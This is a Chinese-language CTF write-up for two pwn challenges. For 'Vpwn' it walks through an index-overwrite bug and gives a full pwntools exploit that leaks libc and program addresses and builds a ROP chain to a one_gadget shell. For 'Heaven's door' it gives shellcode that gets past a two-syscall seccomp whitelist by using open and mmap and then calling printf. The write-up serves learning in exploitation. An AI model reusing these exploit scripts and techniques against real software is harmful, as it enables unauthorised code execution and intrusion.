PWN

Vpwn

Vpwn_分析1

  • 这题折磨人,QAQ
  • 先查看一下这个,先查看一下这个程序的保护机制。发现保护全开。

image-20250118163120917

  • 然后打开使用IDA对该程序进行逆向分析,先从main函数开始分析
    • main函数中,先是有一个菜单,该菜单表示着对栈的一些操作pushpopprintEditexit
    • 然后还发现字节数组v8这边是存储栈上的数据,我们输入的数据是int32类型。并且在v8[24]这个地方保存着push的栈数量(即控制着这个数组的索引值)
    • 这里就会发现一个问题,当我们对第7次push的时候,我们push的值就会就会改变索引值,从而导致不正常的索引

image-20250118163250002

image-20250118163643773

  • 之后查看其他函数,先来查看update函数,我们先输入需要修改的索引值,让后将这个索引值和字节数组v8都传入进行
    • 这边先会判断是否超出索引,超出索引后会抛出异常,并且结束该函数,继续新一轮循环
    • 如果没出现异常,就会进行更新值的操作。

image-20250118164009251

  • 接下来查看push这个函数的操作,我们输入要压入栈中的值,然后就可以进行压栈操作

image-20250118164246448

  • pop函数也是一样,我们调用pop函数的时候直接进行出栈操作,并且在弹栈之前会先判断栈是否为空。如果栈是空的话就会抛出异常

image-20250118164410563

  • 接下来print函数,就是打印栈上的内容

image-20250118164509672

  • 之后就是错误选择的处理和退出选项

image-20250118164721123

Vpwn_分析2

  • 接下来进行动态调试,在动态调试的过程中会发现,存储栈索引的位置在如下图中的位置即glibcxx.的上方

image-20250118165006976

  • 当我们push6次的时候发现所以是6,是正常的情况

image-20250118165147992

  • 但是当我们push第7次的时候就会出现如下情况,原本索引值为7的,接下来变成了0x20

image-20250118165246956

  • 这时我们就可以对栈进行非法的操作,我们使用print操作,将栈上的某些地址泄露出来,并且可以使用push操作,修改一些返回地址
  • 我们先来查看栈上的数据,看看这些数据有什么情况,我们发现这个位置,距离返回地址和程序地址比较近,并且通过计算,如果索引为0x20泄露栈__libc_start_call_main+128的地址是可以的,并且还可以泄露程序的地址0x556ed6e03329,这样程序地址和返回地址就可以泄露出来了,通过计算偏移就可以得到程序基地址,和libc的基地址。

image-20250118165516944

  • 泄露地址的时候这里要注意一下,字符串格式化输出的的int类型的数据是有正负的,如果直接对该数字字符转成Python中的int类型的数据,会出现一点问题,这时候需要位操作来处理接收后的数据
1
2
3
4
5
6
7
8
9
def change(low,high):
if low < 0:
low =hex((low + (1 << 32)) % (1 << 32))
print('hex_low',low)
start_main_addr = hex(high)+low[2:]
else:
print('hex_low',hex(low))
start_main_addr = hex(high)+hex(low)[2:]
return start_main_addr

image-20250118170436235

  • 这时泄露之后,我们就可以想办法修改返回值通过计算0x20v8字节数组的偏移,就可以发现,v8+0x20*4所在的地址比返回地址高,这时我们就可以使用pop操作,将栈上的数据弹出一点。(也可以使用edit编辑栈上数据),使得我们可以修改返回地址

image-20250118170141070

  • 可以修改返回地址后,我们就可以布置rop链,这里我使用打ogg的方法

image-20250118170538001

  • 这时发现r12r13这个寄存器并不是NULL,还有一点很重要rbp指针在最后leave的时候会变成1导致rbp-0x48不可写,这时还要构造rop链修改rbp.bss段上的合适的地址,再修改r12r13指针为NULL

image-20250118170659791

  • 通过libc文件和程序文件寻找到rop链最后执行到ogg,即可getshell,注意在push操作的时候还要注意将Python中的整型,通过转换转为int32类型的数据,对于该题目canary如存在,算是已经在修改索引的时候绕过了
1
2
3
4
5
6
7
8
9
def change2(low):
if low[2]=='8' or low[2]=='9' or low[2]=='a' or low[2]=='b' or low[2]=='c' or low[2]=='d' or low[2]=='e' or low[2]=='f':
low = int(low, 16)
low >= 0x80000000
low -= 0x100000000 # 补码转换为负数

else:
low = int(low,16)
return low

exp

  • 最终的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
context(log_level = 'debug')
#p = remote('139.155.126.78',28151)
p = process('Vpwn')
gdb.attach(p)
def update(index):
p.sendline(b'1')
p.sendline(str(index).encode('utf-8'))

def push(value):
p.sendline(b'2')
p.sendline(str(value).encode('utf-8'))

def pop():
p.sendline(b'3')

def print1():
p.sendline(b'4')

def change(low,high):
if low < 0:
low =hex((low + (1 << 32)) % (1 << 32))
print('hex_low',low)
start_main_addr = hex(high)+low[2:]
else:
print('hex_low',hex(low))
start_main_addr = hex(high)+hex(low)[2:]
return start_main_addr

def change2(low):
if low[2]=='8' or low[2]=='9' or low[2]=='a' or low[2]=='b' or low[2]=='c' or low[2]=='d' or low[2]=='e' or low[2]=='f':
low = int(low, 16)
low >= 0x80000000
low -= 0x100000000 # 补码转换为负数

else:
low = int(low,16)
return low
pause()
for i in range(7):
push(0x20)
#pause()
print1()
p.recvuntil(b'Enter your choice: StackVector contents: ')
leak = p.recv().decode('utf-8').split(' ')
print(len(leak))
high = leak[19]
low = leak[18]
pro_high = leak[23]
pro_low = leak[22]
print('leak------>',leak)
print('leak_high--->',high)
print('leak_low---->',low)
high = int(high,10)
low = int(low,10)
pro_high = int(pro_high,10)
pro_low = int(pro_low,10)
start_main_addr = change(low,high)
start_pro_addr = change(pro_low,pro_high)
#pause()
print('hex_high',hex(high))
print('start_main_addr',start_main_addr)
print('pro_addr',start_pro_addr)
pro_addr = int(start_pro_addr,16)-0x1329
bss_addr = pro_addr+0x42AE+0x600
start_main_addr = int(start_main_addr,16)
libc_addr = start_main_addr -128 - 0x29D10
for i in range(0x10-2):
pop()
ong_gadget = [libc_addr+0xebce2]
print(hex(ong_gadget[0]))

# pop_rbp
low = '0x'+hex(pro_addr+0x1313)[6:]
high = hex(pro_addr+0x1313)[0:6]
low = change2(low)
push(low)
push(int(high,16))

# bss_addr
low = '0x'+hex(bss_addr)[6:]
high = hex(bss_addr)[0:6]
low = change2(low)
push(low)
push(int(high,16))

# pop_r12_r13
pop_r12 = libc_addr+0x41c48
low = '0x'+hex(pop_r12)[6:]
high = hex(pop_r12)[0:6]
low = change2(low)
push(low)
push(int(high,16))
push(0)
push(0)
push(0)
push(0)
#ret
low = '0x'+hex(pro_addr+0x101a)[6:]
high = hex(pro_addr+0x101a)[0:6]
low = change2(low)
push(low)
push(int(high,16))

#pause()

# ogg
low = '0x'+hex(ong_gadget[0])[6:]
high = hex(ong_gadget[0])[0:6]
low = change2(low)
push(low)
push(int(high,16))

pause()
p.sendline(b'5')
p.interactive()

image-20250118173653536

Heaven’s door

Heaven’s door_分析1

  • 先查看一下保护机制,发现有栈溢出保护,但是没有开PIE

image-20250118174120447

  • 现在使用IDA进行逆向分析,一打开程序,发现是一题沙箱题,显然要写shellcode

image-20250118174349041

  • 现在就来查看一下sandbox,发现是一个白名单沙箱,只允许用如下的系统调用。并且白名单中没有read()这个系统调用。

image-20250118174453621

  • 现在继续回来分析源代码,该程序通过创建子进程,将程序分成两个任务,子进程主要完成的就是执行shellcode的任务,而父进程是随机输出字符串数组中的某个字符串,一共会输出14次,所以并不需要考虑父进程的操作。

image-20250118174622810

  • 现在主要分析子进程,子进程会开辟一段内存空间,然后让我们输入0xC3范围内的数据,并对数据进行检查,检查之后开启沙箱,开启完执行我们所输入的数据。

image-20250118174927785

  • 现在来查看一下count_syscall_instructions会检查什么,该函数是检查是否有15 5两个是否相邻的个数。其实15 5这个字节码就是syscall这个系统调用的字节码,该函数的功能就是检查syscall的数量
  • 会返回该shellcodesyscall的个数,如果大于2个就会退出程序(在main函数的操作)

image-20250118175114480

  • 这时我们编写shellcode就要考虑以下几点:
    • 白名单没有read()这个函数,所以要另外寻找其他的系统调用,将flag放入内存中
    • 程序限制syscall只能两次。

Heaven’s door_分析2

  • 这时对于read()我们可以使用沙箱名单的mmap系统调用进行代替,将文件映射到内存中。
  • 对于syscall的限制,这两次syscall必须要用来openflag文件,然后调用mmap将该文件映射到内存中。
  • 对于如何将flag输出出来,父程序有稍微提示一点,由于没有开启pie地址,我们还可以调用printf()函数,或者puts()函数将flag输出出来。所以我们就可以写如下shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mov rbx,0x000067616c662f2e
push rbx
mov rdi,rsp
mov rsi,0
mov rax,0x2
syscall # 系统调用open打开flag文件

mov rdi,0
mov rsi,4096
mov rdx,1
mov r10,1
mov r8,rax
mov r9,0
mov rax,0x9
syscall # 系统调用mmap将文件映射到内存中

mov rdi,rax
mov rsi,0x401150
call rsi # call printf函数,将flag输出出来,并且避免第三次系统调用

exp

  • 完整exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(arch='amd64')
#p = process('./pwn')
p = remote('139.155.126.78',20476)
#elf = ELF('./pwn')
#func_address = elf.symbols['printf']
#gdb.attach(p)
a = asm("""
mov rbx,0x000067616c662f2e
push rbx
mov rdi,rsp
mov rsi,0
mov rax,0x2
syscall

mov rdi,0
mov rsi,4096
mov rdx,1
mov r10,1
mov r8,rax
mov r9,0
mov rax,0x9
syscall

mov rdi,rax
mov rsi,0x401150
call rsi
""")
payload = a
p.sendline(payload)
p.interactive()

image-20250118180401133